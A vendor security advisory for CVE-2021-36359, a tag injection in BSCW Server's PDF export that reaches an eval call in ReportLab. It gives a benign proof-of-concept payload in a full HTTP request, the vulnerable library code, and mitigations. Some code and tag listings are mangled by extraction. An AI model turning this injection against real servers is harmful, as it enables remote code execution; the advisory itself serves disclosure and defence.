SEC Consult Vulnerability Lab Security Advisory < 20210827-1 >  
title: XML Tag injection  
product: BSCW Server  
vulnerable version: BSCW Server <=5.0.11, <=5.1.9, <=5.2.3, <=7.3.2, <=7.4.2  
fixed version: 5.0.12, 5.1.10, 5.2.4, 7.3.3, 7.4.3  
CVE number: CVE-2021-36359  
impact: high  
found: 2021-06-30  
by: Armin Stock (Atos Germany)  
SEC Consult Vulnerability Lab  
An integrated part of SEC Consult, an Atos company  
Europe | Asia | North America  
Vendor description:  
"A versatile system for any field of application  
BSCW Classic is in use around the world. With more than 500 functions, it  
offers the right solution for every task. Turn your ideas into reality! Our  
proven system has been supporting information flow and knowledge management at  
numerous companies for more than 20 years."  
Business recommendation:  
The vendor provides a patched version for the affected products, which should  
be installed immediately.  
Vulnerability overview/description:  
1) XML Tag injection  
The application allows a user with low privileges to export different objects  
to a `PDF` file (`Send To -> File(PDF)`) via the `exportpdf` package. To  
export the content of the objects the framework ReportLab is used. This library  
supports different tags to export structured content:  
# File: reportlab/platypus/  
The ParaFormatter will be able to format the following  
< /b > - bold  
< /i > - italics  
< u [color="red"] [width="pts"] [offset="pts"]> < /u > - underline  
width and offset can be empty meaning use existing canvas line width  
or with an f/F suffix regarded as a fraction of the font size  
< strike > < /strike > - strike through has the same parameters as underline  
< super [size="pts"] [rise="pts"]> < /super > - superscript  
< sup ="pts"] [rise="pts"]> < /sup > - superscript  
< sub ="pts"] [rise="pts"]> < /sub > - subscript  
<font name=fontfamily/fontname color=colorname size=float>  
<span name=fontfamily/fontname color=colorname backcolor=colorname size=float style=stylename>  
< bullet > </bullet> - bullet text (at head of para only)  
<onDraw name=callable label="a label"/>  
<index [name="callablecanvasattribute"] label="a label"/>  
<link>link text</link>  
attributes of links  
underline=bool turn on underline  
<a>anchor text</a>  
attributes of anchors  
<a name="anchorpoint"/>  
<unichar name="unicode character name"/>  
<unichar value="unicode code point"/>  
<img src="path" width="1in" height="1in" valign="bottom"/>  
width="w%" --> fontSize*w/100 idea from Roberto Alsina  
height="h%" --> linewidth*h/100 <>  
<greek> - </greek>  
<nobr> ... </nobr> turn off word breaking and hyphenation  
The whole may be surrounded by <para> </para> tags  
The application does not properly encode the user content before passing it to  
`ReportLab`, which allows the user to inject own tags. These tags get evaluated  
by the `ReportLab`.  
Depending on the version of `ReportLab` it allows the user to do a `SSRF`  
(server side request forgery) attack via the `img` tag  
There are also known vulnerabilites in `ReportLab`:  
This allows an attacker to execute `Python` code via the `unichar` tag or the  
`color` attribute.  
Proof of concept:  
1) XML Tag injection  
One possible injection point is the `description` of a folder. Using the  
following payload allows the execution of the `Python` code `28+20`.  
<strike>hello</strike><unichar code="28+20"/>  
The result of this code is `48` (ASCII: `0`), which gets written to the  
generated `PDF` file.  
POST /sec/bscw.cgi/1917?op=_editfolder.EditFolder HTTP/1.1  
Host: bscw.local:8080  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 765  
Origin: http://bscw.local:8080  
DNT: 1  
Connection: keep-alive  
Referer: http://bscw.local:8080/sec/bscw.cgi/1917?op=editfolder.EditFolder&id=1917_2088&inside_dialog=1  
Cookie: MicroblogInboxIndicatorState=%5B1629367994%2C0%5D; MicroblogSlidingPanelDisplayState=%22hidden%22; bscw_dummy_cookie=opensesame; bscw_auth="wsZjskopxMc1MSIVJq1bnn0fqKqLR9hB:108"; _sec_bscws="45aa7a088a17c12646aaf10d670395cb:264"  
Upgrade-Insecure-Requests: 1  
op=editfolder.EditFolder&inside_dialog=1&bscw_v_post=cCzT8tEnZ1kR%2FnH6gC15aLTjerCLR9hB&id=1917_2088&_selected=editfolder.NameTagsDescrRate&_editfolder.NameTagsDescrRate_renameo.Chname_name=hello&_editfolder.NameTagsDescrRate_renameo.Chname_=3&_editfolder.NameTagsDescrRate_chtags.EditTags_tags=&_editfolder.NameTagsDescrRate_chtags.EditTags_=3&_editfolder.NameTagsDescrRate_chdescr.Chdescr_descr=<strike>hello</strike><unichar code="28+20"/>&_editfolder.NameTagsDescrRate_chdescr.Chdescr_=3&_editfolder.NameTagsDescrRate_=3&_approval.approval_approval_choice=approval_inherited&_approval.approval_addactions=approval.approval.ApprovalTaskItem&_approval.approval_=3&_autovers_maxvers=inherit&_autovers_mvnr=&_autovers_=3&_=3&__ok_.x=+++OK+++  
The vulnerable code in the `ReportLab` framework:  
# File: reportlab\platypus\  
def start_unichar(self, attr):  
if 'name' in attr:  
if 'code' in attr:  
self._syntax_error('<unichar/> invalid with both name and code attributes')  
v = unicodedata.lookup(attr['name'])  
except KeyError:  
self._syntax_error('<unichar/> invalid name attribute\n"%s"' % ascii(attr['name']))  
v = '\0'  
elif 'code' in attr:  
v = int(eval(attr['code']))  
v = chr(v) if isPy3 else unichr(v)  
self._syntax_error('<unichar/> invalid code attribute %s' % ascii(attr['code']))  
v = '\0'  
Most likely there are more injection points to include own tags, but no further  
actions were taken to find them.  
Vulnerable / tested versions:  
BSCW Classic 5.2.3 has been used to identify the vulnerability.  
The vendor confirmed the following versions to be also affected by the  
BSCW Server <=5.0.11, <=5.1.9, <=5.2.3, <=7.3.2, <=7.4.2  
Vendor contact timeline:  
2021-07-31: Sent report to vendor.  
2021-08-01: Vendor confirmed the issue and is working on a patch.  
2021-08-19: Vendor notified licensed customers about the issue and a patch.  
2021-08-27: Coordinated release of security advisory.  
The vendor provides a patched version for the affected and supported products,  
which should be installed immediately.  
Additional information can be viewed at the vendor's support page.  
Ensure the the used `ReportLab` version is >= `3.5.55` to mitigiate an active  
exploit of these known vulnerabilites.  
It is also possbile to disable the `Export to PDF` function. This should be the  
preferred way, until the vendor provides a patch.  
$ bin/bsadmin package -d exportpdf  
Advisory URL:  
SEC Consult Vulnerability Lab  
SEC Consult, an Atos company  
Europe | Asia | North America  
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EOF Armin Stock / @2021